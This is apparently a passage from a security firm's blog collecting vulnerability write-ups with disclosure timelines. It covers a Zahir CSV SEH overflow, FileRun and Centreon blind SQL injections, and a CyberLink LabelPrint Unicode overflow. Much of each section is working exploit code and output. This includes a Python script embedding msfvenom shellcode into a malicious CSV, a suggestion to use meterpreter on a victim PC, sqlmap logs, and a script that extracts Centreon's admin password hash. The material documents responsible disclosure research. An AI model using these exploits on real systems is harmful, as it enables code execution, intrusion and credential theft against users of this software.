Zahir!LbcsvTLbCsvGetRecord$qqrpc11DbTGetModeo+1df (029e48db)
0012ec30: 44444444
Invalid exception stack at 43434343

Setelah hasil kalkulasi kita sesuai, saatnya kita mencari perintah berurut POP r32 POP r32 dan RET. Alamat ini dengan mudah dapat kita cari dengan bantuan tool mona.py yang sudah kita siapkan sebelumnya. Cara instalasi mona pada Windbg dapat dilihat pada dokumentasi Corelan disini. Untuk menjalankannya, kita hanya perlu menjalankan perintah berikut pada window Command:

0:000&gt; .load pykd.pyd
0:000&gt; !py mona

Jalankan perintah !py mona seh untuk mendapatkan hasilnya. Pada proses ini saya menemukan alamat 0x52016661 yang merupakan urutan perintah pop ecx # pop ebp # ret 0x04 diambil dari file vcl100.bpl. File ini merupakan file bawaan instalasi, sehingga apabila kita mengambil alamat POP r32 POP r32 RET dari file bawaan instalasi program, maka akan membuat proses eksploitasi ini menjadi reliable di versi Windows lainnya.
Sebelum kita merubah alamat SEH menjadi 0x52016661, kita harus ingat bahwa setelah SEH tertimpa dengan alamat tersebut, maka aliran program akan langsung menuju Next SEH. Pada posisi Next SEH inilah, kita akan melempar aliran program ke tempat dimana bakal shellcode kita berada.

Mengambil Alih Aliran Program

Ketika SEH sudah terambil alih, maka aliran program berikutnya akan berlanjut ke Next SEH, karena Next SEH berisi alamat SEH berikutnya. Namun pada kasus ini, alamat SEH berikutnya sudah dapat kita kendalikan dan sudah terisi dengan karakter E (masih ingat?). Artinya, apabila kita mengisi Next SEH dengan perintah untuk membawa kita alamat berikutnya, kita dapat mengambil alih aliran program secara sempurna.
Kita akan mengisi alamat Next SEH dengan lompatan kecil untuk ‘melewati’ alamat SEH sebelumnya, sehingga proses selanjutnya akan langsung membawa kita ke karakter E. Proses eksploitasi ini adalah proses eksploitasi khas SEH yang umum. Namun karna pada kasus kali ini kita melakukan debug dari crash dump, kita tidak dapat memasang breakpoint pada alamat SEH.

Pada kenyataannya hal ini tidak akan merubah aliran eksploitasi dan kita akan melakukannya secara buta. Agar lebih jelas saya langsung memodifikasi skrip sebelumnya dan menambahkan shellcode, hasilnya dapat kita lihat pada skrip berikut.

#!/usr/bin/python

bag1 = "A" * 2500
pisah = '\r\n'
bag2 = "B" * 380
nseh = "\xeb\x08\x90\x90"
seh = "\x61\x66\x01\x52"
nop = "\x90\x90\x90\x90"
# msfvenom -p windows/exec CMD=calc -f python -v shellcode
shellcode = ""
shellcode += "\xba\x15\x88\x74\x16\xdb\xd3\xd9\x74\x24\xf4\x58"
shellcode += "\x31\xc9\xb1\x30\x31\x50\x13\x83\xc0\x04\x03\x50"
shellcode += "\x1a\x6a\x81\xea\xcc\xe8\x6a\x13\x0c\x8d\xe3\xf6"
shellcode += "\x3d\x8d\x90\x73\x6d\x3d\xd2\xd6\x81\xb6\xb6\xc2"
shellcode += "\x12\xba\x1e\xe4\x93\x71\x79\xcb\x24\x29\xb9\x4a"
shellcode += "\xa6\x30\xee\xac\x97\xfa\xe3\xad\xd0\xe7\x0e\xff"
shellcode += "\x89\x6c\xbc\x10\xbe\x39\x7d\x9a\x8c\xac\x05\x7f"
shellcode += "\x44\xce\x24\x2e\xdf\x89\xe6\xd0\x0c\xa2\xae\xca"
shellcode += "\x51\x8f\x79\x60\xa1\x7b\x78\xa0\xf8\x84\xd7\x8d"
shellcode += "\x35\x77\x29\xc9\xf1\x68\x5c\x23\x02\x14\x67\xf0"
shellcode += "\x79\xc2\xe2\xe3\xd9\x81\x55\xc8\xd8\x46\x03\x9b"
shellcode += "\xd6\x23\x47\xc3\xfa\xb2\x84\x7f\x06\x3e\x2b\x50"
shellcode += "\x8f\x04\x08\x74\xd4\xdf\x31\x2d\xb0\x8e\x4e\x2d"
shellcode += "\x1b\x6e\xeb\x25\xb1\x7b\x86\x67\xdf\x7a\x14\x12"
shellcode += "\xad\x7d\x26\x1d\x81\x15\x17\x96\x4e\x61\xa8\x7d"
shellcode += "\x2b\x9d\xe2\xdc\x1d\x36\xab\xb4\x1c\x5b\x4c\x63"
shellcode += "\x62\x62\xcf\x86\x1a\x91\xcf\xe2\x1f\xdd\x57\x1e"
shellcode += "\x6d\x4e\x32\x20\xc2\x6f\x17\x43\x85\xe3\xfb\x84"

tambahan = "E" * 500

print "[+] Preparing for file..."
filename = "works.csv"
f = open(filename, 'w')
print "[+] Writing crafted malicious CSV file.."
f.write(bag1+pisah+bag2+nseh+seh+nop+shellcode+tambahan)
f.close()
print "[+] File %s written successfully.. bring it to Mr. Zahir." %filename

Saya menambahkan sejumlah baris NOP agar ketika lompatan kecil pada Next SEH (\xeb\x08\x90\x90) mendarat pada NOP sebelum ke shellcode. Hal ini sering dilakukan oleh exploit developer agar proses jump ke shellcode dapat berjalan dengan baik. Hasilnya:

Owned!
Kita berhasil mengambil alih aliran program Zahir dan mengeluarkan kalkulator hanya dengan sebuah file works.csv.

Extra Miles

Pada skrip python di atas, saya menggunakan shellcode hasil dari msfvenom untuk mengeluarkan kalkulator. Sebagai bahan latihan:

  1. Gunakan shellcode meterpreter untuk mengambil alih PC korban
  2. Temukan bad chars yang tersembunyi

Vulnerability Discovery Timeline

1 September 2017 Menghubungi pihak Zahir melalui Pusat Dukungan. Tiket terbuat dengan nomor tiket #JTC-534-70652 (http://zahir.info/index.php?/Tickets/Ticket/View/JTC-534-70652). Tiket ditugaskan ke bapak Ahdan Sadid.
12 September 2017 Meminta respon terhadap tiket yang belum ditindaklanjuti kepada bapak Ahdan Sadid
15 September 2017 Meminta respon terhadap tiket yang belum ditindaklanjuti kepada bapak Indra Septiady
18 September 2017 Pihak Zahir merespon atas nama bapak Indra Septiady yang akan menindaklanjuti informasi dari Spentera.
19 September 2017 Spentera memberikan skrip dan link video privat yang dapat digunakan sebagai pembuktian konsep temuan kerentanan.
28 September 2017 Tiket ditutup oleh pihak Zahir namun karena tidak ada tanggapan dari lebih lanjut, Spentera membuka kembali tiket dengan nomor #JTC-534-70652. Bersamaan dengan ini pula Spentera menanyakan hasil investigasi laporan yang sudah diberikan, serta jadwal perbaikan terhadap temuan tersebut.
24 Agustus 2018 Spentera membuka kembali tiket dengan nomor #ZYL-522-86966. Bersamaan dengan ini pula Spentera menanyakan hasil investigasi laporan yang sudah diberikan, serta jadwal perbaikan terhadap temuan tersebut.
11 September 2018 Tidak ada respon dari pihak Zahir, sehingga Spentera melaporkan temuan ini ke Pusat Operasi Keamanan Siber Nasional Badan Siber dan Sandi Negara dengan alamat email pusopskamsinas@bssn.go.id.
23 September 2018 Request CVE to Mitre.
1 Oktober 2018 Publikasi di Exploit-DB (https://www.exploit-db.com/exploits/45505/) dan blog Spentera

Blind SQL Injection Vulnerability in FileRun <=2017.09.18

Some time ago while doing a pentest, we found a vulnerability in a file sharing web application named FileRun. This application allows us to access our files anywhere through self-hosted secure cloud storage, backup and sharing files for our photos, videos, files and more.

The Vulnerability

The vulnerability was found after the authentication. After we logged in as any user, go to Search -> Drop down menu -> Search Metadata -> Choose any, for this example I choose Tags. This will generate a POST request to the server like below:

POST /?module=search§ion=ajax&amp;page=grid HTTP/1.1
Host: 192.168.2.133
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://192.168.2.133/
Content-Length: 88
Cookie: FileRunSID=u71u3j1fiqjk1ntmsm7f84d8c4; language=english
Connection: close
Pragma: no-cache
Cache-Control: no-cache

metafield=7&amp;searchType=meta&amp;keyword=&amp;searchPath=%2FROOT%2FHOME&amp;path=%252FROOT%252FSEARCH

We notice that the metafield parameter might be vulnerable to SQL Injection, therefore we injected a single quote after the value (e.g. metafield=7′) and examined the server response with interesting error below:

HTTP/1.0 500 Internal Server Error
Date: Wed, 20 Sep 2017 09:46:48 GMT
Server: Apache/2.4.7 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8

Judging to that response, my spider sense was tingling and throwing our awesome and favorite tool for fast confirmation to the metafield parameter.

root@kali:~# sqlmap -u "http://192.168.2.10/?module=search§ion=ajax&amp;page=grid" --data "metafield=7&amp;searchType=meta&amp;keyword=&amp;searchPath=%2FROOT%2FHOME&amp;path=%252FROOT%252FSEARCH" --cookie "FileRunSID=qpgjv055ne2tluvnp10fao0gl3; language=english" -p metafield --dbms=mysql --level=5 --technique=T --dbs
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.1.8#stable}
|_ -| . [)]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 10:49:19

[10:56:03] [INFO] testing connection to the target URL
[10:56:03] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
[10:56:03] [WARNING] heuristic (basic) test shows that POST parameter 'metafield' might not be injectable
[10:56:03] [INFO] testing for SQL injection on POST parameter 'metafield'
[10:56:03] [INFO] testing 'MySQL &gt;= 5.0.12 AND time-based blind'
[10:56:03] [WARNING] time-based comparison requires larger statistical model, please wait............................ (done)
[10:56:04] [INFO] testing 'MySQL &gt;= 5.0.12 AND time-based blind (comment)'
[10:56:04] [INFO] testing 'MySQL &gt;= 5.0.12 AND time-based blind (query SLEEP)'
<strong>[10:56:14] [INFO] POST parameter 'metafield' appears to be 'MySQL &gt;= 5.0.12 AND time-based blind (query SLEEP)' injectable</strong>
for the remaining tests, do you want to include all tests for 'MySQL' extending provided risk (1) value? [Y/n] y
[10:56:18] [INFO] checking if the injection point on POST parameter 'metafield' is a false positive
POST parameter 'metafield' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 154 HTTP(s) requests:
---
Parameter: metafield (POST)
    Type: AND/OR time-based blind
    Title: MySQL &gt;= 5.0.12 AND time-based blind (query SLEEP)
    Payload: metafield=7) AND (SELECT * FROM (SELECT(SLEEP(5)))uKlV) AND (3045=3045&amp;searchType=meta&amp;keyword=&amp;searchPath=/ROOT/HOME&amp;path=%2FROOT%2FSEARCH
---
[10:59:27] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7
back-end DBMS: MySQL &gt;= 5.0.12
[10:59:27] [INFO] fetching database names
[10:59:27] [INFO] fetching number of databases
[10:59:27] [WARNING] (case) time-based comparison requires larger statistical model, please wait.............................. (done)
[10:59:28] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n]
2
[10:59:39] [WARNING] (case) time-based comparison requires larger statistical model, please wait.............................. (done)
[10:59:45] [INFO] adjusting time delay to 1 second due to good response times
information_schema
[11:00:42] [INFO] retrieved: <strong>filerun</strong>
available databases [2]:
[*] filerun
[*] information_schema

[11:01:04] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 87 times
[11:01:04] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.2.10'

[*] shutting down at 11:01:04

And yes, the vulnerability is confirmed.

Proof of Concept

Here we create a simple script to extract current database using time-based technique.
https://github.com/modpr0be/exploit-dev/blob/master/exploit-repo/filerun/poc-filerun.py

Patch and Fix

We already contacted FileRun developer, Afian AB, and work closely to disclose this vulnerability. FileRun users are suggested to apply immediate software update to latest version using the installation control panel. Please referring to this docs.

Aftermath

Thanks to Vlad Roman who quickly responded to our emails to take immediate action on this finding. Here is the communication log:

Sept 20, 2017 Initial contact with FileRun team
Sept 22, 2017 Vulnerability acknowledged by FileRun team and said that a patch will be released in a couple of days soon.
Sept 25, 2017 FileRun team released a patch.
Sept 27, 2017 Draft of security advisory document was sent to FileRun team.
Sept 29, 2017 Advisory published.

References

Unicode Stack-based Buffer Overflow on CyberLink LabelPrint 2.5

It’s been a while since the last post about exploitation on this blog. This time, we try to explain a stack based overflow on a software called Cyberlink LabelPrint. The software serves as a tool to assist in designing labels for CD / DVD covers. Cyberlink LabelPrint is included in the installation of Cyberlink Power2Go, PowerDVD, and Power Producer software and also pre-installed in the latest laptop by Lenovo, HP, and Asus.

Cyberlink products have a job save function with their own format and this kind of file type can only be read by the related products only. Project files generated by this product are usually saved in the form of an XML format. Learning from the previous findings, each tag in this file has user input, for example:

&#x3C;PROJECT version=&#x22;1.0.00&#x22;&#x3E;
    &#x3C;APPLICATION step=&#x22;4&#x22;/&#x3E;
    &#x3C;PRINTER default=&#x22;Microsoft Print to PDF&#x22; x_offset=&#x22;0&#x22; lightscribe_drive_index=&#x22;18446744073709551615&#x22; lightscribe_drive_path=&#x22;0&#x22; y_offset=&#x22;0&#x22; copy=&#x22;1&#x22; target_label=&#x22;1&#x22; outline=&#x22;0&#x22; hidetrack=&#x22;0&#x22; lightscribe_print_quality=&#x22;0&#x22; lightscribe_label_mode=&#x22;0&#x22;/&#x3E;
    &#x3C;PROFILE printout=&#x22;FRONT_COVER&#x22; paper=&#x22;Plain paper (Letter)&#x22; layout=&#x22;Cover_2Column&#x22; background=&#x22;C:\Program Files (x86)\CyberLink\LabelPrint\backgrounds\FrontBooklet_circle.jpg&#x22; stretch=&#x22;STRETCH&#x22;/&#x3E;
    &#x3C;FONT&#x3E;
        &#x3C;TITLE point_size=&#x22;0&#x22; bold=&#x22;TRUE&#x22; italic=&#x22;FALSE&#x22; underline=&#x22;FALSE&#x22; strikeout=&#x22;FALSE&#x22; shadow=&#x22;TRUE&#x22; color=&#x22;#000000&#x22; face=&#x22;Microsoft Sans Serif&#x22; font_height=&#x22;20&#x22; alignment=&#x22;6&#x22; face_enabled=&#x22;TRUE&#x22; border_enabled=&#x22;FALSE&#x22; shadow_color=&#x22;#000000&#x22; border_color=&#x22;#000000&#x22;/&#x3E;
        &#x3C;CONTENT point_size=&#x22;0&#x22; bold=&#x22;FALSE&#x22; italic=&#x22;FALSE&#x22; underline=&#x22;FALSE&#x22; strikeout=&#x22;FALSE&#x22; shadow=&#x22;FALSE&#x22; color=&#x22;#000000&#x22; face=&#x22;&#x22; font_height=&#x22;0&#x22; alignment=&#x22;0&#x22; face_enabled=&#x22;FALSE&#x22; border_enabled=&#x22;FALSE&#x22; shadow_color=&#x22;#000000&#x22; border_color=&#x22;#000000&#x22;/&#x3E;
    &#x3C;/FONT&#x3E;
    &#x3C;INFORMATION title=&#x22;Test Title&#x22; author=&#x22;Test Author&#x22; date=&#x22;8/5/2017&#x22; SystemTime=&#x22;05/08/2017&#x22;&#x3E;
        &#x3C;TRACK name=&#x22;Track 1&#x22; artist=&#x22;Various Artist&#x22; length=&#x22;03:45&#x22;/&#x3E;
    &#x3C;/INFORMATION&#x3E;
    &#x3C;LAYOUT version=&#x22;1.0&#x22;&#x3E;
        &#x3C;CONTENT loading=&#x22;BALANCED&#x22; break=&#x22;BY_ROW&#x22; row_spacing=&#x22;0&#x22;&#x3E;
            &#x3C;FIELD type=&#x22;NUMBER&#x22; width=&#x22;600&#x22; right_spacing=&#x22;300&#x22; fixed_width=&#x22;true&#x22;/&#x3E;
            &#x3C;FIELD type=&#x22;SONG&#x22; width=&#x22;4000&#x22; right_spacing=&#x22;0&#x22; fixed_width=&#x22;true&#x22;/&#x3E;
            &#x3C;TEXT angle=&#x22;0&#x22; default=&#x22;&#x22; curving=&#x22;STRAIGHT&#x22;/&#x3E;
            &#x3C;MARGIN left=&#x22;0&#x22; top=&#x22;0&#x22; right=&#x22;0&#x22; bottom=&#x22;0&#x22; line_spacing=&#x22;40&#x22;/&#x3E;
            &#x3C;BOUNDARY hole=&#x22;IGNORE&#x22; edge=&#x22;IGNORE&#x22;/&#x3E;
            &#x3C;BOUNDBOX left=&#x22;700&#x22; top=&#x22;3304&#x22; width=&#x22;4800&#x22; height=&#x22;568&#x22; z_order=&#x22;0&#x22; align=&#x22;LEFT&#x22; valign=&#x22;TOP&#x22;/&#x3E;
            &#x3C;FONT point_size=&#x22;0&#x22; bold=&#x22;false&#x22; italic=&#x22;true&#x22; underline=&#x22;false&#x22; strikeout=&#x22;false&#x22; shadow=&#x22;false&#x22; face=&#x22;Microsoft Sans Serif&#x22; color=&#x22;0x000000&#x22; font_height=&#x22;8&#x22; alignment=&#x22;6&#x22; face_enabled=&#x22;true&#x22; border_enabled=&#x22;false&#x22; shadow_color=&#x22;0x000000&#x22; border_color=&#x22;0x000000&#x22;/&#x3E;
            &#x3C;BOUNDBOX left=&#x22;6300&#x22; top=&#x22;3304&#x22; width=&#x22;1&#x22; height=&#x22;1&#x22; z_order=&#x22;1&#x22; align=&#x22;LEFT&#x22; valign=&#x22;TOP&#x22;/&#x3E;
            &#x3C;FONT point_size=&#x22;0&#x22; bold=&#x22;false&#x22; italic=&#x22;true&#x22; underline=&#x22;false&#x22; strikeout=&#x22;false&#x22; shadow=&#x22;false&#x22; face=&#x22;Microsoft Sans Serif&#x22; color=&#x22;0x000000&#x22; font_height=&#x22;8&#x22; alignment=&#x22;6&#x22; face_enabled=&#x22;true&#x22; border_enabled=&#x22;false&#x22; shadow_color=&#x22;0x000000&#x22; border_color=&#x22;0x000000&#x22;/&#x3E;
        &#x3C;/CONTENT&#x3E;
&#x3C;CAPTION type=&#x22;TITLE&#x22;&#x3E;
            &#x3C;BOUNDBOX left=&#x22;1600&#x22; top=&#x22;1300&#x22; width=&#x22;8200&#x22; height=&#x22;1200&#x22; z_order=&#x22;2&#x22; align=&#x22;&#x22; valign=&#x22;CENTER&#x22;/&#x3E;
            &#x3C;FONT point_size=&#x22;0&#x22; bold=&#x22;true&#x22; italic=&#x22;false&#x22; underline=&#x22;false&#x22; strikeout=&#x22;false&#x22; shadow=&#x22;true&#x22; face=&#x22;Microsoft Sans Serif&#x22; color=&#x22;0x000000&#x22; font_height=&#x22;20&#x22; alignment=&#x22;6&#x22; face_enabled=&#x22;true&#x22; border_enabled=&#x22;false&#x22; shadow_color=&#x22;0x000000&#x22; border_color=&#x22;0x000000&#x22;/&#x3E;
            &#x3C;TEXT angle=&#x22;0&#x22; default=&#x22;Test Title&#x22; curving=&#x22;STRAIGHT&#x22;/&#x3E;
            &#x3C;MARGIN left=&#x22;0&#x22; top=&#x22;0&#x22; right=&#x22;0&#x22; bottom=&#x22;0&#x22; line_spacing=&#x22;100&#x22;/&#x3E;
            &#x3C;BOUNDARY hole=&#x22;IGNORE&#x22; edge=&#x22;IGNORE&#x22;/&#x3E;
        &#x3C;/CAPTION&#x3E;

    &#x3C;/LAYOUT&#x3E;
&#x3C;/PROJECT&#x3E;

The Crash

We notice that the INFORMATION tag above (line 9,10,11) contains user’s input and has name parameter. If we change the name value inside the INFORMATION tag with a long string like this:


        
    

And then save it as a new file (mine is test.lpp). Load it the modified project file with Cyberlink LabelPrint, we got this:

The program crashed.

In order to examine this, I already setup procdump to dump the crash and make us easier to examine the crash. You can  setup the procdump using this command:

C:\sysinternalsuite\procdump -ma -i C:\crashdump

(Note: you need to create the folder C:\crashdump first.)

Examine the Crash using Windbg

We load the dump file using Windbg and examine further.

This dump file has an exception of interest stored in it. The stored exception
information can be accessed via .ecxr. (140.3b4): Access violation - code
c0000005 (first/second chance not available) eax=00000000 ebx=00000000
ecx=00190000 edx=06aa3f5c esi=00000000 edi=07670000 eip=77aeceec esp=0018d6b0
ebp=0018db10 iopl=0 nv up ei pl nz ac po nc cs=0023 ss=002b ds=002b es=002b
fs=0053 gs=002b efl=00200212 ntdll!NtWaitForMultipleObjects+0xc: 77aeceec c21400
ret 14h

Debugger catch the exception at this module ntdll!ZwWaitForMultipleObjects+0xc but we need to see what really happened. Since this is an exception, we can go directly to examine the Structure Exception Handler (SEH)

0:000&gt; !exchain
0018db00: ntdll!_except_handler4+0 (77b4d6a0)
 CRT scope 0, func: ntdll!RtlReportExceptionEx+438 (77b6bfdf)
0018e0f8: *** ERROR: Module load completed but symbols could not be loaded for LabelPrint.exe
LabelPrint+8b218 (0048b218)
0018ee3c: LabelPrint+10041 (00410041)
Invalid exception stack at 00410041

In the !exchain command result above, we can see that the exception handler was overwritten with our supplied input (AAAAA…AA, note that A is 41 in hex). This indicates that the stack was overflowed as well. And then, we notice this:

Invalid exception stack at 00410041

Our supplied input (AAAAA..AA) is transformed to 00410041 (00A00A). So, base on this info, we can conclude:

  • This is stack based overflow condition
  • The SEH is overwritten, so the approach of our code execution will be SEH based approach
  • Our supplied input is transformed to 00410041, so the exploit development must use the unicode jutsu technique in order to accomplish this.

After further research, these parameters are also affected:

  • author (inside the INFORMATION tag)
  • artist (inside the TRACK tag)
  • default (inside the TEXT tag)

Proof of Concept

Below is the proof of concept script that we use to build the exploit, have fun!

#!/usr/bin/python
#
# Tested on Windows 7 SP1 (x86,x64)
# Tested on Windows 8.1 (x86,x64)
# Tested on Windows 10 Pro version 1703 (x86,x64)
#

header = ("\x3c\x50\x52\x4f\x4a\x45\x43\x54\x20\x76\x65\x72\x73\x69\x6f\x6e"
"\x3d\x22\x31\x2e\x30\x2e\x30\x30\x22\x3e\x0a\x09\x3c\x49\x4e\x46"
"\x4f\x52\x4d\x41\x54\x49\x4f\x4e\x20\x74\x69\x74\x6c\x65\x3d\x22"
"\x22\x20\x61\x75\x74\x68\x6f\x72\x3d\x22\x22\x20\x64\x61\x74\x65"
"\x3d\x22\x37\x2f\x32\x34\x2f\x32\x30\x31\x37\x22\x20\x53\x79\x73"
"\x74\x65\x6d\x54\x69\x6d\x65\x3d\x22\x32\x34\x2f\x30\x37\x2f\x32"
"\x30\x31\x37\x22\x3e")

filename = "fuzz.lpp"
f = open(filename,'w')
junk = "A" * 790
nseh = "\x42\x42"
seh = "\x43\x43"
sisa =  "\x44" * (5000-len(junk+nseh+seh))
payload = junk+nseh+seh+sisa
bug="\x09\x09\x3c\x54\x52\x41\x43\x4b\x20\x6e\x61\x6d\x65\x3d"+'"'+payload+'"'+"/&gt;\n"
bug+=("\x09\x3c\x2f\x49\x4e\x46\x4f\x52\x4d\x41\x54\x49\x4f\x4e\x3e\x0a"
"\x3c\x2f\x50\x52\x4f\x4a\x45\x43\x54\x3e")
f.write(header+ "\n" + bug)
print "&lt;--CyberLink LabelPrint "
print "[*] by f3ci &amp; modpr0be "
print "[*] \n"
print "[+] File", filename, "successfully created!"
print "[*] Now open project file", filename2, "with CyberLink LabelPrint."
print "[*] Good luck ;)"
f.close()

 

Working Exploit

https://github.com/modpr0be/exploit-dev/blob/master/exploit-repo/cyberlink-labelprint/labelprint_poc_universal.py

Impact (CVSSv3)

CVSS Severity (version 3.0):

CVSS v3 Base Score: 7.7 High
Vector: CVSS:3.0/AV:L/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H (legend)
Impact Score: 6.0
Exploitability Score: 1.0

CVSS Version 3 Metrics:

Attack Vector (AV): Local
Attack Complexity (AC): High
Privileges Required (PR): None
User Interaction (UI): Required
Scope (S): Changed
Confidentiality (C): High
Integrity (I): High
Availability (A): High

Based on Common Vulnerability Scoring System (CVSS) version 3 calculator provided by National Vulnerability Database (NVD)

Aftermath

We contacted Cyberlink support and they think this is not an issue on their product function. Well.. anyway, here is the log:

July 31, 2017 Initial contact with CyberLink support
August 01, 2017 Vulnerability acknowledged and forwarded to engineer team for further analysis and investigation
August 05, 2017 Notify CERT/CC for the vulnerability.
August 20, 2017 Convincing the engineer team that the vulnerability will affect the operating system. Proof of concept sent for further investigation.
August 31, 2017 CyberLink team told that will include the fixing in the next product release, but the date will be kept confidential.

References

https://www.exploit-db.com/exploits/42777/

Centreon Enterprise Server 2.3.3 – 2.3.9-4 Blind SQL Injection

We discovered the vulnerability when we’re looking for alternate software in network monitoring. We know and we love Nagios, and so the Centreon, they provide a very nice interface of Nagios. Centreon provide nice features and ease of use when you’re dealing with network monitoring. The backend system is still Nagios, but the interface is totally different. You can view more features of Centreon here.

Fully Automated Nagios (FAN) also uses Centreon, thus the vulnerability also affects FAN as well.

Our research environment:

  • Centreon Enterprise Server (ces-standard-2.0-i386)
  • Centreon Application (2.3.9-4, latest update)

Vulnerability Overview

The vulnerability is a classic SQL injection, it occurred when an authorized user can see the web interface and have access to menuXML.php, which is by default enable on all user access. By injecting sql command in ‘menu’ parameter within request, let say ‘ AND SLEEP(5) AND ‘meHL’= ‘meHL, the web application response is hung for 5 seconds. It is obvious that the web application is vulnerable to Time-based SQL Injection.

The vulnerable code sits in /usr/share/centreon/www/menu/xml/menuXML.php, which is:

/*
 * Get CSS from menuXML.php
 */
$DBRESULT2 = $pearDB-&gt;query("SELECT css_name FROM `css_color_menu` WHERE menu_nb = '".htmlentities($_GET["menu"], ENT_QUOTES, "UTF-8")."' LIMIT 1");
$menu_style = $DBRESULT2-&gt;fetchRow();

The menu parameter request wasn’t filtered properly, thus can lead to SQL injection after the menu parameter is passed.

Proof of Concept

We create a proof of concept script trying to get the admin hash. Here it goes:

#!/usr/bin/python
import sys,time,urllib,urllib2

print """
-=] Centreon 2.3.3 - 2.3.9-4 Time-based BlindSQLi Exploit [=-
    [ by modpr0be  - research[at]spentera.com ]
"""
host = raw_input("(!) We need the target IP: ")
target = 'http://%s/centreon/menu/xml/menuXML.php' %(host)

# sid is the same as PHPSESSID session value, so put the value of PHPSESSID here
sid = raw_input("(!) Put the value of a valid PHPSESSID session: ")
cookie = 'PHPSESSID=%s' %(sid)

# SQLi delay, tested on LAN environment.
# Consider if it's a remote target, you may increase the delay value (default: 1 seconds)
delay=1

print "(-) Using Time-Based method with %ds delay. This will take some time, go grab a coffee..\n"%int(delay)

def Hex2Des(item):
        return ord(hex(item).replace('0x',''))

def adminhash(m,n):
    #borrow from SQLmap :)
    adminquery=("' AND 9999=IF((ORD(MID((SELECT IFNULL(CAST(contact_passwd AS CHAR),0x20) FROM contact"
           " WHERE contact_id=1 LIMIT 0,1),%s,1)) &gt; %s),SLEEP(%s),9999)  AND 'mEhL'='mEhL" %(m,n,delay))

    value = { 'menu': '2'+adminquery,
              'sid': '%s'%(sid)  }

    url = "%s?%s" %(target,urllib.urlencode(value))
    req = urllib2.Request(url)
    req.add_header('Cookie', cookie)
    try:
            starttime=time.time()
            response = urllib2.urlopen(req)
            endtime = time.time()
            return int(endtime-starttime)
    except:
            print '\n(-) Uh oh! Exploit fail..'
            sys.exit(0)

sys.stdout.write('(!) Getting admin password hash: ')
sys.stdout.flush()

starttime = time.time()
for m in range(1,33):
    for n in range(0,16):
        wkttunggu = adminhash(m,Hex2Des(n))
        if (wkttunggu &lt; delay):
            sys.stdout.write(chr(Hex2Des(n)))
            sys.stdout.flush()
            break
endtime = time.time()
print &quot;\n(-) Done! Admin password hash extracted in %d seconds&quot; %int(endtime-starttime)

You need a valid PHP session for this exploit to work, in other means, you need to login to the web application (guest user is OK!). In this PoC, the valid PHP session are 3uh52mtl1hlmsha4nmkftde5l3.

Solution

Currently we are not aware of any practical solution for this vulnerability. But you are suggested to limit access to the Centreon web administration, and verify each user who has access to it.

References

Thank you to CERT/CC for working with this vulnerability disclosure.
Vulnerability Notes DB on CERT/CC: http://www.kb.cert.org/vuls/id/856892